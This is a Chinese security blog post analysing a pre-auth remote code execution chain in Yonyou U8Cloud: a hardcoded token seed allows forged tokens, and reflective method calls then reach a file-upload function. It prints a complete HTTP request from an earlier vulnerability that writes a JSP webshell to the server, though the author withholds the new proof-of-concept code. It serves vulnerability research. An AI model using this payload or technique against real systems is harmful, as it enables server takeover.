文章总结: 文章详细介绍了用友U8Cloud系统中一个前台RCE漏洞的挖掘过程,作者通过分析已修复的反序列化漏洞,发现token硬编码问题,并结合历史漏洞中的文件上传功能实现了远程代码执行攻击。主要发现包括系统tokenSeed硬编码存储在特定文件中,可通过伪造token绕过验证,以及利用nc.itf.hr.tools.IFileTrans#uploadFile方法上传任意文件到服务器。文章强调了分析历史漏洞对于发现新攻击路径的重要性。
综合评分: 86
文章分类: 漏洞分析,渗透测试,代码审计
用友U8Cloud最新前台RCE漏洞挖掘过程分享
原创
killer
漫漫安全路
2025年8月4日 14:00
江西
前言
漏洞比较简单可以概括为token硬编码导致的任意方法调用组合RCE。
主要讲下当时挖这个漏洞的过程,其实就是分析老漏洞挖到了新漏洞。
反序列化 or 任意方法调用?
/ServiceDispatcherServlet接口之前出过反序列化所以先看看他怎么修复的我们跟进看看具体实现
这里
GET|POST都会进入execCallexecCall里会调用readObject但是这个方法是他自己实现的注意到
NCObjectInputStream#resolveClass此处添加了黑白名单判断,且传入的
rootChecked为false,whiteList为我们刚才传入的InvocationInfo.class所以这里使用白名单修复了之前的反序列化漏洞 然后我们回到readObject这里研究一下怎么生成这个序列化数据他先检查了前四字节然后使用前四字节计算了数据长度判断是否符合,最后使用
nc.bs.framework.comn.NetObjectInputStream#readObject进行反序列化。这里我们可以直接套用它的序列化方法来进行序列化数据的生成nc.bs.framework.comn.NetObjectOutputStream#writeObject既然这里反序列化
RCE走不通我们继续看execCall的后续实现从我们反序列化的对象
invInfo中获取数据先进入vertifyToken进行token验证,然后进入invokeBeanMethod进行反射调用。我们看下vertifyToken的实现如果
service或者clientIP在可信列表里则直接不进行token验证,然后看vertifyTokenIllegal怎么验证token获取
userCode传入genToken获取
tokenSeed作为盐然后sha1加密所以我们只要知道
tokenSeed即可伪造token从
nc.bs.framework.server.token.TokenUtil可知tokenSeed储存在/ierp/bin/token/tokenSeed.conf里我们直接查看安装包和安装后的这个文件发现没有任何变化说明是硬编码的不是启动后随机生成写入文件的。
所以
token可以伪造,然后我们这里就有了一个调用符合下面规则方法的点
从历史漏洞寻找RCE方法
上面我们找到了一个调用符合某些规则方法的点,我们这里不跟入nc.bs.framework.naming.Context#lookup查看具体实现然后找到符合的beanName&methodName因为如果对用友代码不熟悉或者这个符合规则的方法很多但是要找到一个RCE的可能也不太容易。正好挖洞之前分析过一个历史漏洞。数据包如下
POST /service/esnserver HTTP/1.1
Host: 192.168.179.140:8088
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Token: 469ce01522f64366750d1995ca119841
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,fil;q=0.6
Cookie: currentToken=0d1001e88bd4373e7f07ff61caddeaf8; JSESSIONID=62C880D54C98B7CD3CEFF70A169A4DC2.server
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60484
{"invocationInfo":{"ucode":"123","dataSource":"U8cloud","lang":"en"},"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans","param":{"p1":"shelltext","p2":"webapps/u8c_web/test1234.jsp"},"paramType":["p1:[B","p2:java.lang.String"]}
这个漏洞的原理我简单讲下
根据传入的
pathInfo获取obj比如上面的包传入的即为esnserver,然后进入获取到的obj的service方法这里最后会进入com.yonyou.esn.servlet.EsnServlet#doAction也是先进行
Token检测,上面数据包头部Token也是用来绕过检测的他这个
token和tokenSeed都是由用户传入的tokenSeed对应数据包中的ucode过了token检测以后会进入到com.yonyou.esn.ulink.LightAppService#processBusi我这个代码是修复了这个漏洞以后的加了包名限制。这里其实和我们上面反射调用方法是一样的只不过这里是
json格式上面是反序列化。所以我们看下"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans"修复了没还是只加了包名限制反射调用。解压数据然后写入我们指定的路径没有任何限制。
组合RCE
结合反序列化token硬编码,反射调用nc.itf.hr.tools.IFileTrans#uploadFile可写出POC生成代码隐藏了关键代码部分需要研究的请自行实现。
成功
getshell
总结
这个漏洞本来不想写这么麻烦的简单分析一下调用过程很省时间,但是后面还是想按照当时的挖掘思路来写主要是想告诉读者分析历史漏洞的重要性。
每一个历史漏洞都像是一把钥匙,不仅能开启当时的那扇门,更可能为我们指向新的攻击路径。
复现不是终点,而是新发现的起点!!!
建了一个技术交流的微信群对代码审计、红队攻防感兴趣的可以加一下。如果二维码无效或超过人数限制请在公众号后台发送消息:加群
本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:漫漫安全路 killer《用友U8Cloud最新前台RCE漏洞挖掘过程分享》